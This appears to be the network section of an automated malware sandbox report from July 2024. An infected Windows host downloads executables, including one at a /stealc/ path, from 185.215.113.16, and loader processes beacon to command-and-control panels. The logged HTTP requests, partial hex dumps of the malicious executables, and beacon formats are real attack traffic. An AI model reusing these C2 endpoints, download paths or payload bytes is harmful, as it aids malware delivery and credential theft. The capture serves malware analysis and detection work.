46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBGCBAFCGDAAKFIDGIE--
Jul 27, 2024 09:25:16.621507883 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.215.113.16	80	2764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:25:10.623522997 CEST	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 09:25:11.428620100 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:25:11 GMT Content-Type: application/octet-stream Content-Length: 1876480 Last-Modified: Sat, 27 Jul 2024 06:54:41 GMT Connection: keep-alive ETag: "66a499b1-1ca200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAfpJ@J@WkWJ8WJ @.rsrc@.idata @ *@cwtgiuyn0@mrbyzpwc`J\|@.taggant0pJ"@
Jul 27, 2024 09:25:11.428673983 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 09:25:11.428709030 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 09:25:11.428744078 CEST	492	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 09:25:11.428802013 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 4Jk^4@wO<w}NU\|\|&y@9)uGS`<d<]y<X,0
Jul 27, 2024 09:25:11.428843021 CEST	1236	IN	Data Raw: 19 35 e0 6b 39 d8 84 2b 85 14 a6 93 c5 ee 61 c5 55 0e 05 46 0a 00 84 4c ae 1c c6 c6 58 88 dd ab 09 0e 21 3d 98 d1 41 32 06 d4 84 98 3e 8c dd 97 79 fc c5 d2 97 dc c4 97 98 af 04 5f a2 08 f5 ab 2d 3c a0 58 82 4c ad d2 65 b0 45 cc 39 1c b5 36 d9 0d Data Ascii: 5k9+aUFLX!=A2>y_-<XLeE965"Q'!EdFZ:^:t893Gf\x%'B9 s$7@Xun++.9B<uX%3{SteFxw(\]>ywOr?=
Jul 27, 2024 09:25:11.428874969 CEST	1236	IN	Data Raw: 4d 19 a3 33 27 a7 c9 7e a5 2a f3 7d dd 9a f3 6e 25 5f 81 87 de d4 29 bc d6 7f df f3 50 7e 3a 85 48 f0 f5 15 0c 2b 72 a2 f9 4d 64 ac 59 6b 22 33 b9 1c 5a fc a8 17 3f 73 18 e4 72 49 ae 99 f5 6e 2d f0 bc 02 e8 5b a5 e2 76 6c f8 99 c9 b4 93 c9 00 04 Data Ascii: M3'~}n%_)P~:H+rMdYk"3Z?srIn-[vl=3}Bk9nU#r+k5aNv;GpuRfO^Z,]q8w_I0^Gs0IHL87#\wPv\:y-=7n+[S\_@]*f/pq[
Jul 27, 2024 09:25:11.428908110 CEST	492	IN	Data Raw: 35 4d 0d 93 21 3c df 66 b9 22 33 2a 31 db 10 89 1b 58 ab d0 05 16 dc c0 bb d9 5f 81 98 d1 75 9a 91 dc bf 4c 09 72 6b af 5e ea 5f fe 0d 6e da f2 25 bc 9e 3c 66 a7 e1 bb cc 21 79 5a 6f c4 8a 10 d0 d4 e1 35 4c dc f5 dc 56 00 91 81 b7 0b 08 1f 1e 20 Data Ascii: 5M!<f"31X_uLrk^_n%<f!yZo5LV 8)Ng#)DM5bNx7\|'4)@M4Hi.<{2^9I=MfSmfxYr.<R9eGY:^x3Pjz2\
Jul 27, 2024 09:25:11.429573059 CEST	1236	IN	Data Raw: 17 f9 13 c7 49 74 5b 70 a2 c4 e2 64 f5 d1 81 a2 15 fb a4 13 41 bb 61 56 81 bc 51 7b 5e 3c 27 2f 85 2c 7b d6 1f 00 8b 80 30 03 7f a0 d1 1c 81 aa 29 49 34 80 03 eb 9b b2 e5 59 73 5b 7e cc 12 62 9f e1 85 d7 d6 dc 2e 88 cd 16 90 3f 7b 09 23 22 4a bf Data Ascii: It[pdAaVQ{^<'/,{0)I4Ys[~b.?{#"J/v^j"-9Iovug{^[aW96W4F2\$GpT@m_dH^GT\>\|Hb\/,ZLl2e4Z-i0Om_x]]ySrW8j)4~}lqk .JK%
Jul 27, 2024 09:25:11.429606915 CEST	1236	IN	Data Raw: e5 dc 80 47 88 48 72 de 5a bc 11 e2 d2 33 65 ab 45 a6 4c 87 70 fb 53 60 73 b8 54 47 47 66 4f e5 b7 b5 75 af ac 10 a5 16 fa 20 76 e0 16 fb db 15 5f ef 1c 9c 46 71 62 d0 b1 51 05 62 4c b5 33 55 8f 1c 5d 53 9a fd 24 d6 7f 6f 76 c3 f4 1e 18 f5 37 69 Data Ascii: GHrZ3eELpS`sTGGfOu v_FqbQbL3U]S$ov7i+~fZ^_nakJc_86E*4V#[r`j?7l!N}/L`JfS.^`X7"+u(;?],
Jul 27, 2024 09:25:11.433830023 CEST	1236	IN	Data Raw: e7 90 a2 8d eb ab c2 18 f2 d0 fc d8 e5 f1 61 a6 0f a6 30 db e5 d9 5f 5d e1 43 99 e4 2c 84 b8 83 3d 22 e5 f8 f7 b6 e2 dd f7 8c c5 ce 05 06 79 47 b6 93 7b 0e 37 8d 95 df 51 f2 30 9f 4a f4 c6 9c ca de 97 00 9b dc 84 41 10 0c 1c ee 9a 99 9e 90 f3 bb Data Ascii: a0_]C,="yG{7Q0JA\TZ1hY;XJ5(1[LyQU#Jcm5;SHdF#9n<R""!X2)47>}D$\7=N7D6Cbz$,B9G
Jul 27, 2024 09:25:13.398674965 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 09:25:14.250157118 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:25:13 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Sat, 27 Jul 2024 06:55:15 GMT Connection: keep-alive ETag: "66a499d3-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fK@K@WkvKvK @.rsrc@.idata @ *@pcxsfzhs1@plzfkdacK@.taggant0K"@
Jul 27, 2024 09:25:14.257910013 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:25:13 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Sat, 27 Jul 2024 06:55:15 GMT Connection: keep-alive ETag: "66a499d3-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fK@K@WkvKvK @.rsrc@.idata @ *@pcxsfzhs1@plzfkdacK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49726	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:04.281002045 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:05.045823097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:05.048305988 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:05.302743912 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49727	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:04.281029940 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:05.050806999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:05.053617954 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:05.308960915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49728	185.215.113.16	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:05.311079025 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 09:26:06.084536076 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:05 GMT Content-Type: application/octet-stream Content-Length: 250368 Last-Modified: Sat, 27 Jul 2024 07:22:24 GMT Connection: keep-alive ETag: "66a4a030-3d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 64 67 94 73 20 06 fa 20 20 06 fa 20 20 06 fa 20 4f 70 51 20 3b 06 fa 20 4f 70 64 20 30 06 fa 20 4f 70 50 20 44 06 fa 20 29 7e 69 20 2b 06 fa 20 20 06 fb 20 55 06 fa 20 4f 70 55 20 21 06 fa 20 4f 70 60 20 21 06 fa 20 4f 70 67 20 21 06 fa 20 52 69 63 68 20 06 fa 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 ad 62 40 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 f9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 08 5b 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$dgs OpQ ; Opd 0 OpP D )~i + U OpU ! Op` ! Opg ! Rich PELb@ex 0@`[4YxYS@0.text `.rdataJ304@@.data.pR@.lowo.@@.nade2@.rsrc6@@
Jul 27, 2024 09:26:06.084604979 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 ec 53 42 00 e8 d6 06 00 00 f6 44 24 08 01 74 07 56 e8 03 0c 00 00 Data Ascii: VSBD$tVY^4U, BE$BV3W{3EEuM(BE?E,BEE EEEE~D=u~D@.=u\|yDEEEE
Jul 27, 2024 09:26:06.084639072 CEST	1236	IN	Data Raw: 56 56 68 9c 53 42 00 ff 15 bc 30 42 00 56 56 ff 15 7c 30 42 00 56 ff 15 5c 30 42 00 56 56 56 56 ff 15 94 30 42 00 56 ff 15 4c 30 42 00 4f 75 c0 68 d4 53 42 00 ff 15 70 30 42 00 ff 15 80 79 44 02 5f 5e 5b c9 c3 81 ec 00 04 00 00 56 33 f6 81 3d f4 Data Ascii: VVhSB0BVV\|0BV\0BVVVV0BVL0BOuhSBp0ByD_^[V3=~DWuEVVVV0BVVVVVVVVVV1BVV\VVVVV.V VV(3*m}VVVVV0BV0Bd0BV0B.G\|dB~D7=~
Jul 27, 2024 09:26:06.084675074 CEST	1236	IN	Data Raw: 8b ff 55 8b ec 5d e9 dc ff ff ff 8b ff 55 8b ec 83 7d 08 00 75 15 e8 91 17 00 00 c7 00 16 00 00 00 e8 34 17 00 00 83 c8 ff 5d c3 8b 45 0c 85 c0 74 e4 6a 00 ff 70 04 ff 30 ff 75 08 e8 f3 22 00 00 83 c4 10 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 53 Data Ascii: U]U}u4]Etjp0u"]UMS]VW}M]t}tu93_^[ut39Ev!tSjQY+t39Ew}F}tFEEFtDFt=
Jul 27, 2024 09:26:06.084707975 CEST	1236	IN	Data Raw: 00 59 83 65 fc 00 ff 75 08 e8 2a fe ff ff 59 89 45 e4 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 2a 19 00 00 c3 ff 75 08 e8 fb 15 00 00 59 c3 8b ff 55 8b ec 83 7d 08 00 75 0b ff 75 0c e8 3c 13 00 00 59 5d c3 56 8b 75 0c 85 f6 75 0d ff 75 08 Data Ascii: YeuYEEEuYU}uu<Y]VuuuOY3MW0uFVuj5JC0Bu^9JCt@Vc-YtvVS-Y83_^]'d0BPYd0BPYQP2BG-YU
Jul 27, 2024 09:26:06.084741116 CEST	880	IN	Data Raw: 75 03 09 06 c3 ff 06 c3 8b ff 55 8b ec 51 53 56 8b f0 8b d9 e8 eb 0d 00 00 f6 47 0c 40 8b 00 89 45 fc 74 0a 83 7f 08 00 75 04 01 1e eb 4a e8 d1 0d 00 00 83 20 00 eb 28 8b 45 08 8a 00 8b cf 4b e8 90 ff ff ff ff 45 08 83 3e ff 75 13 e8 b2 0d 00 00 Data Ascii: uUQSVG@EtuJ (EKE>u8*u?u8uM^[Ux\|B3ES]Vu3Wu}ku+
Jul 27, 2024 09:26:06.084758043 CEST	1236	IN	Data Raw: ff 20 e9 3f 08 00 00 8a 07 3c 36 75 1e 80 7f 01 34 75 18 83 c7 02 81 8d f0 fd ff ff 00 80 00 00 89 bd c4 fd ff ff e9 1b 08 00 00 3c 33 75 1e 80 7f 01 32 75 18 83 c7 02 81 a5 f0 fd ff ff ff 7f ff ff 89 bd c4 fd ff ff e9 f9 07 00 00 3c 64 0f 84 f1 Data Ascii: ?<6u4u<3u2u<d<i<o<u<x<XPP\IYYt"GhdyS
Jul 27, 2024 09:26:06.084790945 CEST	1236	IN	Data Raw: bd fc ff ff 48 48 0f 84 90 fe ff ff 83 e8 03 0f 85 b7 01 00 00 c7 85 b8 fd ff ff 27 00 00 00 f6 85 f0 fd ff ff 80 c7 85 e0 fd ff ff 10 00 00 00 0f 84 70 fe ff ff 8a 85 b8 fd ff ff 04 51 c6 85 d4 fd ff ff 30 88 85 d5 fd ff ff c7 85 d0 fd ff ff 02 Data Ascii: HH'pQ0LR t@tCCC@t3@t\|su3}9~
Jul 27, 2024 09:26:06.084821939 CEST	1236	IN	Data Raw: fc ff ff 89 85 ec fc ff ff ff 15 e4 30 42 00 6a 00 8b f8 ff 15 e0 30 42 00 8d 85 d8 fc ff ff 50 ff 15 dc 30 42 00 85 c0 75 10 85 ff 75 0c 83 fb ff 74 07 53 e8 0b 41 00 00 59 8b 4d fc 5f 33 cd 5b e8 53 40 00 00 c9 c3 8b ff 56 6a 01 be 17 04 00 c0 Data Ascii: 0Bj0BP0BuutSAYM_3[S@VjVjV0BP0B^U5LJC0Bt]uuuuu3PPPPPUE3;(pBtA-rHwjX],pB]DjY;#]$
Jul 27, 2024 09:26:06.084856987 CEST	1236	IN	Data Raw: 02 00 00 8d 90 00 08 00 00 a3 60 8d 44 02 89 35 5c 8d 44 02 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 60 8d 44 02 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 Data Ascii: `D5\D;s6Hf@Hf@@!H3H/5`D@P;rSWf9ME;EE;\|9\D}kdDj@j 8YYtQ\D ;s1H```3f@f@ @/@P;r9\D\|\D3
Jul 27, 2024 09:26:06.090049028 CEST	1236	IN	Data Raw: 75 0c 85 c0 74 02 89 30 85 f6 75 24 e8 33 f7 ff ff c7 00 16 00 00 00 e8 d6 f6 ff ff 80 7d f0 00 74 07 8b 45 ec 83 60 70 fd 33 c0 e9 e0 01 00 00 83 7d 14 00 74 0c 83 7d 14 02 7c d0 83 7d 14 24 7f ca 83 65 fc 00 8b 4d e4 53 8a 1e 57 8d 7e 01 83 b9 Data Ascii: ut0u$3}tE`p3}t}\|}$eMSW~~EPjP=MBtG-uM+uGEOF$=u*0tE6<xt<XtE#Eu0u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49729	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:05.429780006 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:06.195398092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:06.196086884 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: 